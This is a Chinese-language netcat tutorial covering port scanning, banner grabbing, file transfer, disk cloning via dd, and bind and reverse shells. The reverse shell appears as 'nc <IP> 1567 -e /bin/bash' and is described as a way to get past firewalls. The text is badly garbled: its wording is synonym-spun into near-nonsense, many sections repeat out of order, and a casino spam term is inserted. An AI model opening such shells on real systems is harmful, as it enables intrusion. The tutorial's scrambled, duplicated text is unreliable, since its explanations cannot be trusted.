nc

    nc命名netcat,直译为网络猫。在CentOS 7查看协理的表达如下所示:

ncat - Concatenate and redirect sockets

翻译过来正是能够延续和重定向Sockets。通过询问任何质地,能够看看nc命令功用实在不行多,它能够打开TCP连接,发送UDP包,监听TCP/UDP端口,举行端口扫描等等。

netcat是互联网工具中的瑞士联邦军刀,它能透过TCP和UDP在互连网中读写多少。通过与别的工具结合和重定向,你能够在剧本中以多样措施利用它。使用netcat命令所能达成的作业令人感叹。

英文原稿:Linux Netcat command – The swiss army knife of
networking

netcat是互联网工具中的瑞士联邦军刀,它能通过TCP和UDP在互联网中读写多少。通过与此外工具结合和重定向,你能够在剧本中以多种方法采取它。使用netcat命令所能实现的事情令人惊异。

中央语法

nc [选项] [主机名] [端口]

常用参数如下所示:

参数 说明
-4 仅使用IPv4
-6 仅使用IPv6
-c,–sh-exec [command] 执行给定的命令,同/bin/sh
-e,–exec [command] 执行给定的命令
-m,–max-conns [n] 设置同时连接的最大数
-d,–delay [time] 设置读/写的等待时间
-o,–output [filename] 将会话的数据保存为文件
-i,–idle-timeout [time] 读/写空闲超时时间
-p,–source-port port 指定本机使用的通信端口
-s,–source addr 指定远程通信的主机地址
-l,–listen 监听传入的连接信息
-k,–keep-open 在监听模式中接收多个连接信息
-n,–nodns 直接使用IP地址,不解析域名
-t,–telnet 响应telnet请求
-u,–udp 使用UDP替换默认的TCP
-v,–verbose 显示详细的输出信息
-w,–wait [time] 设置连接超时时间,单位为秒
-z 建立连接后马上断开,不发送和接收任何数据,即Zero-I/O模式,仅用于测试连接状态

netcat所做的正是在两台电脑之间成立链接并赶回四个数据流,在那事后所能做的事就看您的想像力了。你能建立叁个服务器,传输文件,与朋友聊天,传输流媒体大概用它当作任何协议的单独客户端。

netcat是互连网工具中的瑞士军刀,它能通过TCP和UDP在网络中读写多少。通过与别的工具结合和重定向,你能够在剧本中以三种措施采用它。使用netcat命令所能实现的事务让人奇怪。
netcat所做的就是在两台总计机之间建立链接并重临多个数据流,在那之后所能做的事就看你的想像力了。你能树立一个服务器,传输文件,与恋人闲谈,传输流媒体只怕用它当作别的协议的单身客户端。
上边是局地选择netcat的例子.
[A(172.31.100.7) B(172.31.100.23)]

netcat所做的正是在两台微型计算机之间确立链接并回到三个数据流,在那今后所能做的事就看您的想像力了。你能创制贰个服务器,传输文件,与朋友聊天,传输流媒体大概用它当做其余协议的独门客户端。

示例

1.实现QQ的功能

  • 在地面终端监听1个端口

nc -l 9999
  • 在另一台服务器中输入以下命令建立连接

  nc 连接服务器IP 9999
  • 在其它三个服务器上输入的新闻都将发送到另一台服务器下边

2.端口扫描

   
在Linux中固然有规范的端口扫描端口工具,如nmap,但倘若大家只想精晓端口是不是处理开放意况,nc命令其实也是能够胜任的。上面演示就是扫描本机端口20-25

[root@localhost ~]# nc -z -v -n -w 2 127.0.0.1 20-25
nc: connect to 127.0.0.1 port 20 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 21 (tcp) failed: Connection refused
Connection to 127.0.0.1 22 port [tcp/*] succeeded!
nc: connect to 127.0.0.1 port 23 (tcp) failed: Connection refused
nc: connect to 127.0.0.1 port 24 (tcp) failed: Connection refused
Connection to 127.0.0.1 25 port [tcp/*] succeeded!

   
当连接到服务器上的某部端口时,监听该端口的劳务会传递3个Banner(类似于一条欢迎音讯)音讯,那一个Banner一般都会显得自己程序的版本号等音信。而黑客就要能够利用这个新闻做侵犯策略。从地方我们能够看到22端口处于开放意况,因而大家就足以获取端口22的Banner音信

[root@localhost ~]# nc -v 127.1 22
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:22.
SSH-2.0-OpenSSH_7.4

   
从地方音信方可知到SSH的版本,如若那些版本的SSH有尾巴的话,就足以被黑客给接纳了。

3.传输文件

   
在Linux传输文件,平时使用FTP和SCP,为啥还索要利用nc命令了?其实nc命令传输文件有其独有的优势,即只必要选拔1个端口就足以在两台服务器间传输文件,而不需求开始展览其余配置,也不须要像FTP和SCP那样验证用户名和密码等信息。

  • 在文件的发送端,运营监听端口并预备好相应的公文

nc -v -l 9999 < out.txt
  • 在文书的接收端,使用以下命令接收数据

[root@localhost ~]# nc -v -n 服务器IP地址 9999 > in.txt
[root@localhost ~]#  ll in.txt
-rw-r--r-- 1 root root 25 7月  23 00:08 in.txt
  • 那时候在出殡和埋葬端能够看到如下音讯

[root@localhost ~]# nc -v -l 9999 < out.txt 
Connection from 客户端IP地址 port 9999 [tcp/distinct] accepted

4.传输文件夹

   
若是急需传输多个文本或文件夹,nc是或不是就不能成功了?那时就供给采取tar命令了。

  • 应用管道技术,将tar的出口通过管道传给nc

[root@localhost~]# tar -cvPf - ~/out | nc -l 9999
/root/out/
/root/out/out.txt
/root/out/eip.sh
  • 在客户端连接9999端口,然后将选取到数量经过tar解压

[root@localhost ~]# nc -n 服务器IP地址 9999 | tar -xvPf -
/root/out/
/root/out/out.txt
/root/out/eip.sh

本文同步在微信订阅号上颁发,如各位小伙伴们欣赏笔者的篇章,也足以关注自笔者的微信订阅号:woaitest,或扫描下边包车型大巴二维码添加关心:
澳门金沙国际 1

上边是部分接纳netcat的例子.

Linux netcat 命令实例:

下边是局地行使netcat的例子.

[A(172.31.100.7) B(172.31.100.23)]

1,端口扫描

端口扫描日常被系统一管理理员和黑客用来发以后有的机器上怒放的端口,支持她们识别系统中的漏洞。
$nc -z -v -n 172.31.100.7 21-25
能够运营在TCP恐怕UDP情势,私下认可是TCP,-u参数调整为udp.z
参数告诉netcat使用0 IO,连接成功后登时关闭连接,
不开始展览数据交流(感激@jxing 引导)
v 参数指使用冗余选项(译者注:即详细输出)
n 参数告诉netcat 不要使用DNS反向查询IP地址的域名
这么些命令会打印21到25
全数开放的端口。Banner是3个文件,Banner是多个您总是的服务发送给你的文本音信。当您准备鉴定识别漏洞依旧服务的项目和版本的时候,Banner音讯是越发管用的。不过,并不是负有的服务都会发送banner。
万一您意识开放的端口,你能够简单的利用netcat
连接服务抓取他们的banner。
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21而且打字与印刷运维在那么些端口上劳动的banner消息。

[A(172.31.100.7) B(172.31.100.23)]

Linux netcat 命令实例:

Chat Server

要是你想和您的爱侣闲谈,有广大的软件和音信服务能够供您利用。但是,如若您从未如此豪华的安排,比如你在电脑实验室,全体的对外的总是都以被限定的,你怎样和整天坐在隔壁房间的爱人交流那?不要郁闷了,netcat提供了那样一种方法,你只必要创立一个Chat服务器,叁个预先明确好的端口,那样子他就能够联系到你了。

Linux netcat 命令实例:

1,端口扫描

Server

$nc -l 1567
netcat 命令在1567端口运营了七个tcp
服务器,全体的正规化输出和输入会输出到该端口。输出和输入都在此shell中显示。

1,端口扫描

端口扫描平日被系统一管理理员和黑客用来发现在一部分机械上绽放端口,支持她们识别系统中的漏洞。

$nc -z -v -n 172.31.100.7 21-25

能够运作在TCP只怕UDP方式,暗许是TCP,-u参数调整为udp.z
参数告诉netcat使用0
IO,指的是只要一而再关闭,不举行数据交流(译者注:这里翻译不准,如有别的更好的,请提出)

v 参数指使用冗余选项(译者注:即详细输出)

n 参数告诉netcat 不要采纳DNS反向查询IP地址的域名

这么些命令会打字与印刷21到25
全部开放的端口。Banner是2个文书,Banner是1个您总是的劳务发送给你的文本新闻。当你准备鉴定区别漏洞照旧服务的品种和版本的时候,Banner音信是老大管用的。不过,并不是负有的劳务都会发送banner。

若是您发觉开放的端口,你能够简单的利用netcat 连接服务抓取他们的banner。

$ nc -v 172.31.100.7 21

netcat 命令会连接开放端口21并且打字与印刷运维在这么些端口上劳动的banner音讯。

端口扫描平日被系统一管理理员和黑客用来发以往一些机械上绽放的端口,帮助他们识别系统中的漏洞。

Client

$nc 172.31.100.7 1567
任由您在机械B上键入什么都会并发在机器A上。

Chat Server

假设你想和您的爱侣闲谈,有很多的软件和音讯服务能够供您选拔。可是,尽管你没有这样豪华的铺排,比如您在处理器实验室,全数的对外的总是都以被界定的,你如何和整天坐在隔壁房间的爱人联系那?不要郁闷了,netcat提供了如此一种艺术,你只须求创制二个Chat服务器,三个预先显著好的端口,那样子他就可以联系到你了。

$nc -z -v -n 172.31.100.7 21-25

3,文件传输

大多数时日中,我们都在盘算透过网络恐怕其余工具传输文件。有很多样艺术,比如FTP,SCP,SMB等等,可是当您只是内需近期恐怕贰次传输文件,真的值得浪费时间来安装配备3个软件到您的机械上嘛。假诺,你想要传多个文本file.txt
从A
到B。A只怕B都能够看成服务器恐怕客户端,以下,让A作为服务器,B为客户端。
Server
$nc -l 1567 < file.txt
Client$nc -n 172.31.100.7 1567 > file.txt
此处大家创设了四个服务器在A上同时重定向netcat的输入为文件file.txt,那么当其余成功总是到该端口,netcat会发送file的文件内容。在客户端咱们重定向输出到file.txt,当B连接到A,A发送文书内容,B保存文件内容到file.txt.
不曾要求成立文件源作为Server,大家也得以相反的主意应用。像上面的大家发送文书从B到A,不过服务器创立在A上,此次我们仅须求重定向netcat的输出并且重定向B的输入文件。
B作为Server
Server
$nc -l 1567 > file.txt
Client
nc 172.31.100.23 1567 < file.txt

Server

$nc -l 156

netcat 命令在1567端口运维了三个tcp
服务器,全部的正规输出和输入会输出到该端口。输出和输入都在此shell中显得。

能够运作在TCP只怕UDP情势,暗中同意是TCP,-u参数调整为udp.

4,目录传输

出殡二个文书很简短,不过若是大家想要发送四个公文,或许全部目录,一样一点也不细略,只须要运用压缩工具tar,压缩后发送压缩包。
假设你想要通过互联网传输三个索引从A到B。
Server
$tar -cvf – dir_name | nc -l 1567
Client

$nc -n 172.31.100.7 1567 | tar -xvf -
那边在A服务器上,大家创造二个tar归档包并且经过-在控制台重定向它,然后使用管道,重定向给netcat,netcat能够经过网络发送它。在客户端大家下载该压缩包通过netcat
管道然后打开文件。
只要想要节省带宽传输压缩包,大家能够动用bzip2或然其余工具压缩。
Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567
通过bzip2压缩
Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
使用bzip2解压

Client

$nc 172.31.100.7 1567

不论您在机械B上键入什么都会产出在机器A上。

z 参数告诉netcat使用0 IO,连接成功后立刻关闭连接,
不实行数据调换(多谢@jxing 指点)

5. 加密你通过网络发送的多少

一旦您担心你在互连网上发送数据的四平,你能够在发送你的数目在此以前用如mcrypt的工具加密。
服务端
$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
使用mcrypt工具加密数据。客户端
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
利用mcrypt工具解密数据。以上七个命令会提醒须要密码,确认保障双方使用同样的密码。
此间我们是运用mcrypt用来加密,使用任何任意加密工具都足以。

互联网工具中的瑞士联邦军刀,Linux中Netcat命令整理。3,文件传输

超越54%日子中,大家都在盘算透过互连网可能其余工具传输文件。有很多样情势,比如FTP,SCP,SMB等等,不过当您只是必要一时半刻大概三遍传输文件,真的值得浪费时间来设置配备二个软件到你的机器上嘛。假诺,你想要传一个文件file.txt
从A
到B。A大概B都得以用作服务器只怕客户端,以下,让A作为服务器,B为客户端。

v 参数指使用冗余选项(译者注:即详细输出)

6. 流视频

固然不是浮动流录像的最棒方法,但若是服务器上平昔不一定的工具,使用netcat,大家仍然有愿意做成那件事。
服务端
$cat video.avi | nc -l 1567
此地大家只是从三个录制文件中读入同仁一视定向输出到netcat客户端$nc
172.31.100.7 1567 | mplayer -vo x11 -cache 3000 –
这边大家从socket中读入数据同等对待定向到mplayer。

Server

$nc -l 1567 < file.txt

n 参数告诉netcat 不要使用DNS反向查询IP地址的域名

7,克隆一个配备

若果您曾经设置配备一台Linux机器并且需求再行同一的操作对别的的机器,而你不想在重复配置3次。不在须要重新配置安装的长河,只运营另一台机械的一部分教导能够随身碟和仿制你的机器。
克隆Linux PC很简单,假使你的系统在磁盘/dev/sda上
Server
$dd if=/dev/sda | nc -l 1567
Client$nc -n 172.31.100.7 1567 | dd of=/dev/sda
dd是一个从磁盘读取原始数据的工具,小编通过netcat服务珍视定向它的输出流到别的机器并且写入到磁盘中,它会随着分区表拷贝全部的新闻。不过一旦大家早已做过分区并且只供给克隆root分区,大家得以依照我们系统root分区的职位,更改sda
为sda1,sda2.等等。

Client

$nc -n 172.31.100.7 1567 > file.txt

那里大家创立了2个服务器在A上同时重定向netcat的输入为文件file.txt,那么当其余成功总是到该端口,netcat会发送file的文件内容。在客户端大家重定向输出到file.txt,当B连接到A,A发送文书内容,B保存文件内容到file.txt.

尚未要求创造文件源作为Server,大家也足以相反的措施应用。像上边包车型地铁我们发送文书从B到A,不过服务器创立在A上,此次大家仅须求重定向netcat的输出并且重定向B的输入文件。

B作为Server

本条命令会打字与印刷21到25
全数开放的端口。Banner是贰个文本,Banner是四个您总是的劳动发送给你的文书消息。当你打算鉴定区别漏洞仍旧服务的品类和本子的时候,Banner消息是那多少个有效的。但是,并不是独具的劳动都会发送banner。

8,打开3个shell

作者们早已用过长距离shell-使用telnet和ssh,不过假若那八个指令没有安装还要我们并未权力安装他们,大家也可以应用netcat制造远程shell。
假定你的netcat支持 -c -e 参数(默许 netcat)
Server
$nc -l 1567 -e /bin/bash -i
Client$nc 172.31.100.7 1567
此间我们早就创办了1个netcat服务器并且表示当它总是成功时执行/bin/bash要是netcat
不协助-c 只怕 -e 参数(openbsd netcat),我们如故能够创制远程shell
Server
$mkfifo /tmp/tmp_fifo$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l
1567 > /tmp/tmp_fifo
那边大家成立了一个fifo文件,然后使用管道命令把那么些fifo文件内容定向到shell
2>&第11中学。是用来重定向标准错误输出和规范输出,然后管道到netcat
运营的端口1567上。至此,大家早就把netcat的出口重定向到fifo文件中。表明:
从互联网收到的输入写到fifo文件中
cat 命令读取fifo文件并且其情节发送给sh命令
sh命令进程遭到输入并把它写回到netcat。
netcat 通过互联网发送输出到client
至于缘何会中标是因为管道义务令平行执行,fifo文件用来代替不奇怪文件,因为fifo使读取等待而一旦是三个经常文书,cat命令会尽快截止并初阶读取空文件。
在客户端仅仅简单连接受服务器
Client
$nc -n 172.31.100.7 1567
您会得到贰个shell提醒符在客户端

Server

$nc -l 1567 > file.txt

一旦你发现开放的端口,你能够简单的运用netcat 连接服务抓取他们的banner。

反向shell

反向shell是指在客户端打开的shell。反向shell那样命名是因为不一致于其余布署,那里服务器使用的是由客户提供的劳务。
服务端
$nc -l 1567
在客户端,简单地报告netcat在一而再成功后,执行shell。客户端
$nc 172.31.100.7 1567 -e /bin/bash
现行反革命,什么是反向shell的尤其之处呢
反向shell平时被用来绕过防火墙的限定,如阻止入站连接。例如,作者有2个专用IP地址为172.31.100.7,作者利用代理服务器连接到表面互连网。假若小编想从互联网外部访问
那台机器如1.2.3.4的shell,那么作者会用反向外壳用于这一目标。

Client

nc 172.31.100.23 1567 < file.txt

$ nc -v 172.31.100.7 21

4,目录传输

发送2个文书很简短,不过一旦我们想要发送七个公文,恐怕全部目录,一样很简单,只须要运用压缩工具tar,压缩后发送压缩包。

万一您想要通过网络传输2个索引从A到B。

netcat 命令会连接开放端口21而且打字与印刷运营在那些端口上服务的banner音讯。

Server

$tar -cvf – dir_name | nc -l 1567

Chat Server

Client

$nc -n 172.31.100.7 1567 | tar -xvf –

那边在A服务器上,大家成立3个tar归档包并且通过-在控制台重定向它,然后选取管道,重定向给netcat,netcat可以由此网络发送它
。在客户端大家下载该压缩包通过netcat 管道然后打开文件。

假使想要节省带宽传输压缩包,大家能够行使bzip2也许别的工具压缩。

要是你想和您的爱人闲谈,有众多的软件和新闻服务能够供您利用。可是,要是您未曾如此浮华的布置,比如你在微型计算机实验室,全数的对外的连接都是被限定的,你怎样和整天坐在隔壁房间的情侣调换那?不要郁闷了,netcat提供了如此一种艺术,你只必要创建1个Chat服务器,一个预先分明好的端口,那样子他就可以联系到你了。

Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Server

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf –

使用bzip2解压

$nc -l 1567

5.加密你通过互联网发送的数额

若果您担心您在网络上发送数据的安全,你能够在出殡和埋葬你的数量在此以前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

选拔mcrypt工具加密数据。客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

利用mcrypt工具解密数据。以上三个命令会提示必要密码,确认保障双方使用同一的密码。

此地大家是选用mcrypt用来加密,使用任何任意加密工具都能够。

netcat 命令在1567端口运维了叁个tcp
服务器,全部的专业输出和输入会输出到该端口。输出和输入都在此shell中呈现。

6.流视频

即使不是变化流摄像的最棒法子,但要是服务器上未曾一定的工具,使用netcat,我们依然有愿意做成那件事。

服务端

$cat video.avi | nc -l 1567

此地大家只是从贰个录像文件中读入仁同一视定向输出到netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 –

那里大家从socket中读入数据一碗水端平定向到mplayer。

Client

7,克隆三个装备

假若你早就设置配备一台Linux机器并且需求重新雷同的操作对其它的机器,而你不想在再次配置叁回。不在供给再度配置安装的进度,只运行另一台机械的局地引导可以随身碟和仿制你的机器。

克隆Linux PC非常的粗略,若是你的种类在磁盘/dev/sda上

$nc 172.31.100.7 1567

Server

$dd if=/dev/sda | nc -l 1567

不管你在机器B上键入什么都会见世在机器A上。

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是3个从磁盘读取原始数据的工具,我透过netcat服务珍视定向它的输出流到其它机器并且写入到磁盘中,它会趁着分区表拷贝全部的音讯。可是假若大家早就做过分区并且只须求克隆root分区,大家能够依据大家系统root分区的地方,更改sda
为sda1,sda2.等等。

3,文件传输

8,打开一个shell

大家曾经用过长距离shell-使用telnet和ssh,可是一旦那多少个指令没有安装还要大家尚无权限安装他们,大家也足以使用netcat成立远程shell。

假使你的netcat扶助 -c -e 参数(暗中同意 netcat)

绝超过四分之二时光中,大家都在试图透过互联网只怕其余工具传输文件。有很各个艺术,比如FTP,SCP,SMB等等,可是当您只是亟需权且或然三遍传输文件,真的值得浪费时间来设置配备三个软件到您的机器上嘛。若是,你想要传二个文件file.txt
从A
到B。A或许B都能够当做服务器恐怕客户端,以下,让A作为服务器,B为客户端。

Server

$nc -l 1567 -e /bin/bash -i

Server

Client

$nc 172.31.100.7 1567

那边我们曾经创制了一个netcat服务器并且表示当它连接成功时执行/bin/bash即使netcat
不辅助-c 大概 -e 参数(openbsd netcat),我们依旧能够创制远程shell

$nc -l 1567 < file.txt

Server

$mkfifo /tmp/tmp_fifo

$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 >
/tmp/tmp_fifo

此间大家创制了2个fifo文件,然后选取管道命令把这几个fifo文件内容定向到shell
2>&1中。是用来重定向标准错误输出和正式输出,然后管道到netcat
运营的端口1567上。至此,大家曾经把netcat的出口重定向到fifo文件中。表达:

从互连网收到的输入写到fifo文件中

cat 命令读取fifo文件并且其情节发送给sh命令

sh命令进程遭到输入并把它写回到netcat。

netcat 通过互连网发送输出到client

有关为什么会中标是因为管道职务令平行执行,fifo文件用来顶替平常文件,因为fifo使读取等待而一旦是1个不足为奇文书,cat命令会尽快终结并开首读取空文件。

在客户端仅仅简单连接受服务器

Client

Client

$nc -n 172.31.100.7 1567

你会拿走多少个shell提醒符在客户端

$nc -n 172.31.100.7 1567 > file.txt

反向shell

反向shell是人早就在客户端打开的shell。反向shell那样命名是因为差异于其余安顿,那里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567

在客户端,简单地告诉netcat在连年成功后,执行shell。客户端

$nc 172.31.100.7 1567 -e /bin/bash

以后,什么是反向shell的尤其之处呢

反向shell平日被用来绕过防火墙的限量,如阻止入站连接。例如,笔者有贰个专用IP地址为172.31.100.7,笔者利用代理服务器连接到表面互联网。就算本身想从网络外部访问 那台机械如1.2.3.4的shell,那么小编会用反向外壳用于这一目标。

那里我们创制了一个服务器在A上还要重定向netcat的输入为文件file.txt,那么当别的成功连接到该端口,netcat会发送file的文本内容。

10.内定源端口

假诺你的防火墙过滤除25端口外其余具有端口,你要求选拔-p选项钦命源端口。

服务器端

$nc -l 1567

客户端

$nc 172.31.100.7 1567 -p 25

行使1024之内的端口须求root权限。

该命令将在客户端开启25端口用于通讯,不然将运用随机端口。

在客户端我们重定向输出到file.txt,当B连接到A,A发送文书内容,B保存文件内容到file.txt.

11.钦命源地址

设若你的机器有两个地点,希望显然钦赐使用哪个地点用于外部数据通信。我们能够在netcat中运用-s选项钦赐ip地址。

劳务器端

$nc -u -l 1567 < file.txt

客户端

$nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt

该命令将绑定地址172.31.100.5。

这无非是使用netcat的有的示范。

此外用途有:

·             使用-t选项模拟Telnet客户端,

·             HTTP客户端用于下载文件,

·             连接到邮件服务器,使用SMTP协议检查邮件,

·             使用ffmpeg截取显示器并因而流式传输分享,等等。别的越多用途。

简短来说,只要您领悟商业事务就能够运用netcat作为网络通信媒介,完结各个客户端

摄像链接

尚无要求创建文件源作为Server,我们也可以相反的格局运用。像上面包车型客车大家发送文书从B到A,不过服务器成立在A上,这一次大家仅要求重定向netcat的出口并且重定向B的输入文件。

B作为Server

Server

$nc -l 1567 > file.txt

Client

nc 172.31.100.23 1567 < file.txt

4,目录传输

出殡1个文件很不难,可是如果大家想要发送多少个文本,只怕全部目录,一样不会细小略,只必要选用压缩工具tar,压缩后发送压缩包。

只要你想要通过互连网传输3个索引从A到B。

Server

$tar -cvf – dir_name | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | tar -xvf –

这边在A服务器上,大家创制八个tar归档包并且经过-在控制台重定向它,然后选取管道,重定向给netcat,netcat能够透过网络发送它。

在客户端大家下载该压缩包通过netcat 管道然后打开文件。

比方想要节省带宽传输压缩包,我们得以行使bzip2可能其余工具压缩。

Server

$tar -cvf – dir_name| bzip2 -z | nc -l 1567

通过bzip2压缩

Client

$nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf –

使用bzip2解压

  1. 加密你通过互联网发送的多寡

假使您担心您在互联网上发送数据的平安,你可以在出殡和埋葬你的数码以前用如mcrypt的工具加密。

服务端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb >
file.txt

选用mcrypt工具加密数据。

客户端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

应用mcrypt工具解密数据。

上述四个命令会提醒需求密码,确认保证双方使用同样的密码。

此间大家是选拔mcrypt用来加密,使用其余任意加密工具都得以。

  1. 流视频

即使如此不是生成流录像的最佳办法,但假使服务器上尚未一定的工具,使用netcat,我们依然有希望做成那件事。

服务端

$cat video.avi | nc -l 1567

此地我们只是从2个录像文件中读入比量齐观定向输出到netcat客户端

$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 –

那里大家从socket中读入数据同样注重定向到mplayer。

7,克隆2个装备

若果你早已安装配备一台Linux机器并且要求再行同一的操作对任何的机器,而你不想在再次配置2次。不在须求重新配置安装的进度,只运转另一台机械的一些指点能够随身碟和仿制你的机器。

克隆Linux PC很简短,假诺你的类别在磁盘/dev/sda上

Server

$dd if=/dev/sda | nc -l 1567

Client

$nc -n 172.31.100.7 1567 | dd of=/dev/sda

dd是三个从磁盘读取原始数据的工具,作者经过netcat服务珍视定向它的输出流到其它机器并且写入到磁盘中,它会趁机分区表拷贝全体的音信。不过只要大家已经做过分区并且只须求克隆root分区,我们得以依照大家系统root分区的地方,更改sda
为sda1,sda2.等等。

8,打开3个shell

我们已经用过长距离shell-使用telnet和ssh,不过只要那五个指令没有设置还要咱们尚无权力安装他们,大家也足以接纳netcat成立远程shell。

万一你的netcat协助 -c -e 参数(暗中认可 netcat)

Server

$nc -l 1567 -e /bin/bash -i

Client

$nc 172.31.100.7 1567

那边大家已经成立了一个netcat服务器并且表示当它总是成功时执行/bin/bash

即便netcat 不支持-c 恐怕 -e 参数(openbsd
netcat),我们依然能够创制远程shell

Server

$mkfifo /tmp/tmp_fifo

$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 >
/tmp/tmp_fifo

这里大家创制了贰个fifo文件,然后使用管道命令把那一个fifo文件内容定向到shell
2>&第11中学。是用来重定向标准错误输出和规范输出,然后管道到netcat
运转的端口1567上。至此,大家早已把netcat的输出重定向到fifo文件中。
说明:

澳门金沙国际 ,从互联网收到的输入写到fifo文件中

cat 命令读取fifo文件并且其剧情发送给sh命令

sh命令进度遭到输入并把它写回到netcat。

netcat 通过互联网发送输出到client

至于怎么会中标是因为管道职分令平行执行,fifo文件用来取代寻常文件,因为fifo使读取等待而一旦是3个司空见惯文书,cat命令会尽快停止并初始读取空文件。

在客户端仅仅简单连接受服务器

Client

$nc -n 172.31.100.7 1567

您会拿走三个shell提醒符在客户端

反向shell

反向shell是指在客户端打开的shell。反向shell那样命名是因为分化于其余计划,这里服务器使用的是由客户提供的服务。

服务端

$nc -l 1567

在客户端,简单地告知netcat在延续成功后,执行shell。
客户端

$nc 172.31.100.7 1567 -e /bin/bash

未来,什么是反向shell的尤其之处呢

反向shell平时被用来绕过防火墙的范围,如阻止入站连接。例如,作者有一个专用IP地址为172.31.100.7,小编利用代理服务器连接到表面互联网。假诺自身想从网络外部访问
那台机械如1.2.3.4的shell,那么本身会用反向外壳用于这一目标。

相关文章